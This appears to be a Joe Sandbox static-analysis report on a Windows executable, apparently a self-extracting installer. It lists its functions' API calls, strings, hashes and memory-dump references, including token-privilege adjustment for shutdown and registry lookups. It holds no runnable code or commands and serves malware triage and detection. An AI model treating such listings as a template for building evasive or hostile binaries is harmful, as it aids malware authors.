Instruction Fuzzy Hash: CD512F32604A41CAE7108F25E5942AD7BA4FB8DB88F519135DB2DD3798FF3AE444CB80

Function 00007FF6FD211BF4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FD212EA5), ref: 00007FF6FD211C09
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF6FD212EA5), ref: 00007FF6FD211C22
LookupPrivilegeValueA.ADVAPI32 ref: 00007FF6FD211C63
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6FD211C9A
CloseHandle.KERNEL32 ref: 00007FF6FD211CAD
ExitWindowsEx.USER32 ref: 00007FF6FD211CD9

Strings

SeShutdownPrivilege, xrefs: 00007FF6FD211C5C

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentExitHandleLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 2829607268-3733053543
Opcode ID: 651b18166e163d38126b57bec11a40fe2d1053f86929e6fedc5c23f0bf928afa
Instruction ID: 4d51de96581ca0aa9e2ca6881a7085a6c072840b721a064e6c7f66f6d60f5194
Opcode Fuzzy Hash: 651b18166e163d38126b57bec11a40fe2d1053f86929e6fedc5c23f0bf928afa
Instruction Fuzzy Hash: F0219572A1864287F7508B20E14577ABB60FBC9749F40D135DB5EC2A94FF3DE0458B80

Function 00007FF6FD218BF4 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6FD218C24
GetCurrentProcessId.KERNEL32 ref: 00007FF6FD218C32
GetCurrentThreadId.KERNEL32 ref: 00007FF6FD218C3E
GetTickCount.KERNEL32 ref: 00007FF6FD218C4A
GetTickCount.KERNEL32 ref: 00007FF6FD218C5A
QueryPerformanceCounter.KERNEL32 ref: 00007FF6FD218C75

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: dcb9afa00af80bbd2438476da7bde3a9357a0fac88edcf4c174e2726fe409359
Instruction ID: bdd4ef20b097fec436687d6f718846d469512ec7bbaac4b7de2eedf0413ae1b1
Opcode Fuzzy Hash: dcb9afa00af80bbd2438476da7bde3a9357a0fac88edcf4c174e2726fe409359
Instruction Fuzzy Hash: 3B111526A04B428AEB009F60E9442A833A4FB4975CF404A31EA7DC6794FF79E1A482C0

Function 00007FF6FD218A1E Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6FD218A2B

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 31ba59d9759834a282d63e6df2edccb489d5ae17e54cd4dbc75f9f5da0e92170
Instruction ID: 8ffdd4da949df38d582d314313a6940f78e81d2c0fb6476e88a8d0152ed769cd
Opcode Fuzzy Hash: 31ba59d9759834a282d63e6df2edccb489d5ae17e54cd4dbc75f9f5da0e92170
Instruction Fuzzy Hash: B9B09B0661759241D60557B54E4904516401B465287881554C738C1990E95DA1594644

Function 00007FF6FD213A4E Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 120threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 00007FF6FD213AA4
ResetEvent.KERNEL32 ref: 00007FF6FD213ACC
SetEvent.KERNEL32 ref: 00007FF6FD213B13
GetDesktopWindow.USER32 ref: 00007FF6FD213B58
GetDlgItem.USER32 ref: 00007FF6FD213B82
SendMessageA.USER32 ref: 00007FF6FD213B9F
GetDlgItem.USER32 ref: 00007FF6FD213BB0
SendMessageA.USER32 ref: 00007FF6FD213BCF
SetWindowTextA.USER32 ref: 00007FF6FD213BE5
CreateThread.KERNEL32 ref: 00007FF6FD213C10
EndDialog.USER32 ref: 00007FF6FD213C5A

Strings

, xrefs: 00007FF6FD213AF6
124, xrefs: 00007FF6FD213BDB

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: EventItemMessageSendThreadWindow$CreateDesktopDialogResetTerminateText
String ID: $124
API String ID: 2654313074-3252604691
Opcode ID: 102dc3b5d48e4a10d943dd3270078a4fcb1ac186441280d74bee6b8f378a008b
Instruction ID: f8b7066810a66b70c40f32c3b76ef008a27bb0972d0c7c7457330bd137e17c54
Opcode Fuzzy Hash: 102dc3b5d48e4a10d943dd3270078a4fcb1ac186441280d74bee6b8f378a008b
Instruction Fuzzy Hash: 62518031A0864286E7109B15EA84279AAA2FB89B55F54D231CB3DC3BD4FF3EB14587C0

Function 00007FF6FD217320 Relevance: 23.2, APIs: 10, Strings: 3, Instructions: 438COMMON

Download Yara Rule

APIs

CharNextA.USER32 ref: 00007FF6FD217398
GetModuleFileNameA.KERNEL32 ref: 00007FF6FD217473
CharUpperA.USER32 ref: 00007FF6FD2174B6
CharUpperA.USER32 ref: 00007FF6FD21754C
CompareStringA.KERNEL32 ref: 00007FF6FD2175E0
CharUpperA.USER32 ref: 00007FF6FD21761B
CharUpperA.USER32 ref: 00007FF6FD217677
CharUpperA.USER32 ref: 00007FF6FD217710
CloseHandle.KERNEL32 ref: 00007FF6FD2178F8
ExitProcess.KERNEL32 ref: 00007FF6FD217906

Strings

", xrefs: 00007FF6FD2173FF
:, xrefs: 00007FF6FD2176BB
RegServer, xrefs: 00007FF6FD2175D1

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$:$RegServer
API String ID: 1203814774-766454958
Opcode ID: ff462ce63a305f3a2fc0ff44f4bbd5613ae8e25fd08773fadb5e4e06ed0c4393
Instruction ID: f2c40d89d915cb1af5d4eabd6a3127be3d0d02c01f14be4cace325a9dc9e617d
Opcode Fuzzy Hash: ff462ce63a305f3a2fc0ff44f4bbd5613ae8e25fd08773fadb5e4e06ed0c4393
Instruction Fuzzy Hash: 36029061A0C682C5EB218B2856142797BA1AF85790F688535CB7EC76D6FE3FF406C7C0

Function 00007FF6FD214B70 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 141libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FD213723), ref: 00007FF6FD214B9A
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FD213723), ref: 00007FF6FD214BBE
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FD213723), ref: 00007FF6FD214BDE
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FD213723), ref: 00007FF6FD214C05
GetTempPathA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FD213723), ref: 00007FF6FD214C36
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FD213723), ref: 00007FF6FD214C54
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FD213723), ref: 00007FF6FD214C6E
FreeLibrary.KERNEL32 ref: 00007FF6FD214D50
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FD213723), ref: 00007FF6FD214D6C

Strings

SHBrowseForFolder, xrefs: 00007FF6FD214BB4
SHELL32.DLL, xrefs: 00007FF6FD214B93
SHGetPathFromIDList, xrefs: 00007FF6FD214BFB

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 00cffe6a6b6efc49b9df64414d7755e864694d57a2bcf60638ec42af2eb0385e
Instruction ID: 5f9994be0c418c5df2d208d0d419da69899e691fee36b709fc3a8ac271737462
Opcode Fuzzy Hash: 00cffe6a6b6efc49b9df64414d7755e864694d57a2bcf60638ec42af2eb0385e
Instruction Fuzzy Hash: 33516E25A0978186EB118B15AA10179BBA0FB89B84F948175CB6EC77D0FF3EF405C7C0

Function 00007FF6FD212644 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 147registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32 ref: 00007FF6FD21268A
CharNextA.USER32 ref: 00007FF6FD21269C
CharNextA.USER32 ref: 00007FF6FD2126AB
RegOpenKeyExA.ADVAPI32 ref: 00007FF6FD21274C
RegQueryValueExA.ADVAPI32 ref: 00007FF6FD212783
ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF6FD2127AA
RegCloseKey.ADVAPI32 ref: 00007FF6FD21280B
GetWindowsDirectoryA.KERNEL32 ref: 00007FF6FD212821
GetSystemDirectoryA.KERNEL32 ref: 00007FF6FD212837
GetSystemDirectoryA.KERNEL32 ref: 00007FF6FD21284E

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00007FF6FD2126CE

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CharDirectory$NextSystem$CloseEnvironmentExpandOpenQueryStringsUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 229715263-2428544900
Opcode ID: 5f260c0c44f67a4d333ec0cf67bdc95a0204cc5ba749ef7936c119a4bc59c0ba
Instruction ID: f500d763d697613f838b24801c4bf13f57636d0d928221c7199c2055432b10a7
Opcode Fuzzy Hash: 5f260c0c44f67a4d333ec0cf67bdc95a0204cc5ba749ef7936c119a4bc59c0ba
Instruction Fuzzy Hash: AD51633260868186EB118B10E5442BABBA0FF89B84F559131EB6E877D4FF3EE445C7D0

Function 00007FF6FD214F2C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 183memorywindowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF6FD214FBC
LocalAlloc.KERNEL32 ref: 00007FF6FD2150BD
LocalAlloc.KERNEL32 ref: 00007FF6FD2150F1
MessageBoxA.USER32 ref: 00007FF6FD214FFC

Part of subcall function 00007FF6FD218084: EnumResourceLanguagesA.KERNEL32 ref: 00007FF6FD2180DC
Part of subcall function 00007FF6FD218084: EnumResourceLanguagesA.KERNEL32 ref: 00007FF6FD21811A

LocalAlloc.KERNEL32 ref: 00007FF6FD215058
MessageBeep.USER32 ref: 00007FF6FD215162
MessageBoxA.USER32 ref: 00007FF6FD2151A7
LocalFree.KERNEL32 ref: 00007FF6FD2151B8

Part of subcall function 00007FF6FD218154: GetVersionExA.KERNEL32 ref: 00007FF6FD2181A9
Part of subcall function 00007FF6FD218154: GetSystemMetrics.USER32 ref: 00007FF6FD2181E3
Part of subcall function 00007FF6FD218154: RegOpenKeyExA.ADVAPI32 ref: 00007FF6FD218218
Part of subcall function 00007FF6FD218154: RegQueryValueExA.ADVAPI32 ref: 00007FF6FD218253
Part of subcall function 00007FF6FD218154: RegCloseKey.ADVAPI32 ref: 00007FF6FD218266
Part of subcall function 00007FF6FD218154: CharNextA.USER32 ref: 00007FF6FD2182B5

Strings

rce., xrefs: 00007FF6FD214F68
124, xrefs: 00007FF6FD214FED, 00007FF6FD215193

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Local$AllocMessage$EnumLanguagesResource$BeepCharCloseFreeLoadMetricsNextOpenQueryStringSystemValueVersion
String ID: 124$rce.
API String ID: 2929476258-4159208397
Opcode ID: 695e6ae24b2fda61812be3d6b4eb2d2880fa2c845b4d1dcc7c30464c9a896a07
Instruction ID: ae25ab8ea4e0221e45e6fb5d80d0c4092434cfa36e300e907e88adc097f778e6
Opcode Fuzzy Hash: 695e6ae24b2fda61812be3d6b4eb2d2880fa2c845b4d1dcc7c30464c9a896a07
Instruction Fuzzy Hash: 2371A421E0878686FB528B25AA003B866A0AF99754F148270DF6DD77D5FF3EF44587C0

Function 00007FF6FD21351E Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6FD213560
GetDesktopWindow.USER32 ref: 00007FF6FD213571
SetDlgItemTextA.USER32 ref: 00007FF6FD213597
SetWindowTextA.USER32 ref: 00007FF6FD2135AD
SetForegroundWindow.USER32 ref: 00007FF6FD2135BC
GetDlgItem.USER32 ref: 00007FF6FD2135D0
GetWindowLongPtrA.USER32 ref: 00007FF6FD2135E7
SetWindowLongPtrA.USER32 ref: 00007FF6FD213609
SendDlgItemMessageA.USER32 ref: 00007FF6FD21363A

Strings

124, xrefs: 00007FF6FD2135A3

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: 124
API String ID: 3785188418-372045425
Opcode ID: 3cd91ea36e2fe533022bde91c2053d597b5ed78ae3c01b02fd4e722d67f546ca
Instruction ID: 8d54a1a7b86a55f5a9ec5b84d7da8b1430aa448ea01055b4d0fc466b236418e2
Opcode Fuzzy Hash: 3cd91ea36e2fe533022bde91c2053d597b5ed78ae3c01b02fd4e722d67f546ca
Instruction Fuzzy Hash: 89311E75908642D6EB105B25AA442B87A61FB8AB65F54D230CB3EC23D4FF3EB149C7C0

Function 00007FF6FD218154 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF6FD2181A9
GetSystemMetrics.USER32 ref: 00007FF6FD2181E3
RegOpenKeyExA.ADVAPI32 ref: 00007FF6FD218218
RegQueryValueExA.ADVAPI32 ref: 00007FF6FD218253
RegCloseKey.ADVAPI32 ref: 00007FF6FD218266
CharNextA.USER32 ref: 00007FF6FD2182B5

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00007FF6FD21820A

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 92574d76233e057d688226138012ae270226e38269e34de28d45b127ba883e32
Instruction ID: e9921b1231c5fe6e05ff1cb336fdcfce92972e499e60717921d2212513f2cdd4
Opcode Fuzzy Hash: 92574d76233e057d688226138012ae270226e38269e34de28d45b127ba883e32
Instruction Fuzzy Hash: 08518D36A08A819AEB218B249540179B7A0FB89B54F558131DB6DC37C4FF3EF444CBC4

Function 00007FF6FD211130 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF6FD21116D
GetProcAddress.KERNEL32 ref: 00007FF6FD21118F
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6FD2111DC
FreeSid.ADVAPI32 ref: 00007FF6FD21120E
FreeLibrary.KERNEL32 ref: 00007FF6FD21121D

Strings

CheckTokenMembership, xrefs: 00007FF6FD211185
advapi32.dll, xrefs: 00007FF6FD211160

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 971b975d9a4f17aab5bf5b76504fa1808b97cf8c325f714dc856488252334909
Instruction ID: 85eac65bd30fd1c84954f2257f00a470bff5842506ffa24ae85fc76128bf4cf7
Opcode Fuzzy Hash: 971b975d9a4f17aab5bf5b76504fa1808b97cf8c325f714dc856488252334909
Instruction Fuzzy Hash: A2314832608B858AE7108F16F4441AABBA0FB89B80F459139EF5E83754FF3DE045CB80

Function 00007FF6FD212AE8 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF6FD212B3A
IsDBCSLeadByte.KERNEL32 ref: 00007FF6FD212B56
CharNextA.USER32 ref: 00007FF6FD212B7C
CharUpperA.USER32 ref: 00007FF6FD212B8F
CharPrevA.USER32 ref: 00007FF6FD212BCB
CharUpperA.USER32 ref: 00007FF6FD212C71
CharNextA.USER32 ref: 00007FF6FD212D16
CharNextA.USER32 ref: 00007FF6FD212D28

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Char$Next$Upper$ByteFileLeadModuleNamePrev
String ID:
API String ID: 975904313-0
Opcode ID: 0d82e86da81dc2cef2af64c70c057c8b3ef052c49615e3a21940497ab07f1174
Instruction ID: 6d305b49aa6da1b94e38bc6c4ed87d7f833861045500a46dc401131fbd44d1d9
Opcode Fuzzy Hash: 0d82e86da81dc2cef2af64c70c057c8b3ef052c49615e3a21940497ab07f1174
Instruction Fuzzy Hash: 2D719E61A0D6C585FF628F2496103B86A90AF4AB90F488131DBBEC67D1FF2EB40583D1

Function 00007FF6FD212898 Relevance: 12.2, APIs: 8, Instructions: 162memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 00007FF6FD212AC2

Part of subcall function 00007FF6FD212644: CharUpperA.USER32 ref: 00007FF6FD21268A
Part of subcall function 00007FF6FD212644: CharNextA.USER32 ref: 00007FF6FD21269C
Part of subcall function 00007FF6FD212644: CharNextA.USER32 ref: 00007FF6FD2126AB
Part of subcall function 00007FF6FD212644: RegOpenKeyExA.ADVAPI32 ref: 00007FF6FD21274C
Part of subcall function 00007FF6FD212644: RegQueryValueExA.ADVAPI32 ref: 00007FF6FD212783
Part of subcall function 00007FF6FD212644: ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF6FD2127AA

GetFileVersionInfoSizeA.VERSION ref: 00007FF6FD21290F
GlobalAlloc.KERNEL32 ref: 00007FF6FD21292E
GlobalLock.KERNEL32 ref: 00007FF6FD212949
GetFileVersionInfoA.VERSION ref: 00007FF6FD212971
VerQueryValueA.VERSION ref: 00007FF6FD212997
GlobalUnlock.KERNEL32 ref: 00007FF6FD212A41
GlobalUnlock.KERNEL32 ref: 00007FF6FD212A5C

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Global$Char$FileInfoNextQueryUnlockValueVersion$AllocEnvironmentExpandFreeLockOpenSizeStringsUpper
String ID:
API String ID: 2156179360-0
Opcode ID: f5cf7ecaecd271d02cfedb1b12fcc4206d5a711b6b10f9e7bdb34ea6bdc4f517
Instruction ID: f5431a6ef42e3931de76705d50cd5a45cad1a6d50238068a73296ef42451c78b
Opcode Fuzzy Hash: f5cf7ecaecd271d02cfedb1b12fcc4206d5a711b6b10f9e7bdb34ea6bdc4f517
Instruction Fuzzy Hash: 85615B72A086429AEB608B1596052B83BA5FF05794F14C571EF29D3794FF3AF885C7C0

Function 00007FF6FD214DC8 Relevance: 10.6, APIs: 7, Instructions: 100COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FD2114DE), ref: 00007FF6FD214DFB
GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FD2114DE), ref: 00007FF6FD214E1C
GetDC.USER32 ref: 00007FF6FD214E39
GetDeviceCaps.GDI32 ref: 00007FF6FD214E50
GetDeviceCaps.GDI32 ref: 00007FF6FD214E67
ReleaseDC.USER32 ref: 00007FF6FD214E80
SetWindowPos.USER32 ref: 00007FF6FD214EF2

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 69ea89c86bae83f4795465c8798f6678767ed30391b1f5c5e5c0b97e0bec92e7
Instruction ID: 2d8bc936a2da14eb31f5b350733970678649bfb92e410ed1d7f1dfd19bbd0755
Opcode Fuzzy Hash: 69ea89c86bae83f4795465c8798f6678767ed30391b1f5c5e5c0b97e0bec92e7
Instruction Fuzzy Hash: 58318F36B146118AE7108B65E904ABD7BA0F749B99F599130CF2A93B84EF39F4458B80

Function 00007FF6FD214064 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 71memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215220
Part of subcall function 00007FF6FD2151F8: SizeofResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215231
Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215257
Part of subcall function 00007FF6FD2151F8: LoadResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215268
